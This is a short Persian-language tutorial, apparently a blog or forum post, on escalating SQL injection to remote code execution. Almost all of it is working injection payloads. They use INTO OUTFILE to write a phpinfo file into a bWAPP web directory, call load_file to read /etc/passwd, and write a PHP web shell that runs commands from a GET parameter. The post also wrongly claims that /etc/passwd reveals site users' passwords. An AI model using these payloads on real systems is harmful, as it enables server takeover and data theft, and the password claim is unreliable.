سلام
من امروز میخوام از را هایی که وجود داره برای اینکه باباگ sqli باگ rce ایجاد کنیم بنویسم برا تون
من دو تا از را ه های متداولش رو در ادامه بهتون میگم
1_با استفاده از union
id=ddos) union select 1,2,3,4,5,6,7,'<? phpinfo(); ?>’ into outfile ‘/var/www/html/bWAPP/image/phpinfo.php’%23
2_بدون استفاده از union
d=ddos) into outfile ‘/var/www/html/bWAPP/image/phpinfo’ fields terminated by ‘<? phpinfo(); ?>’%23
و همچنین چند دستور دیگر وجود داشت که گفتم شاید براتون جالب باشه
1_ دستور load_file
که با استفاده از این دستور میتوانید پسورد یوزر های سایت رو بدست بیارید در اینجا فرض میکنیم
که ستون اسیب پذیر ستون شماره 5 است
id=ddos) union select 1,2,3,4,load_file("etc/passwd"),6,7--+
یامیتونیم یک فایل رو توی یک مسیر خاص اجرا کنیم
id=ddos) union select 1,2,3,4,load_file("/etc/file"),6,7--+
2_دستور ایجاد فایلبر روی سرور
این دستور دو مرحله ای است
1#
id=ddos) union select 1,2,3,4,@injection,6,7+INTO OUTFILE "/tmp/injection"--+
و
2#
id=ddos) union select 1,2,3,4,"<?php $cmd = $_GET[\`injection\`]; echo system ($cmd); ?>",6,7+INTO OUTFILE "/home/$path/shell.php"+--
امیدوارم به دردتون به خوره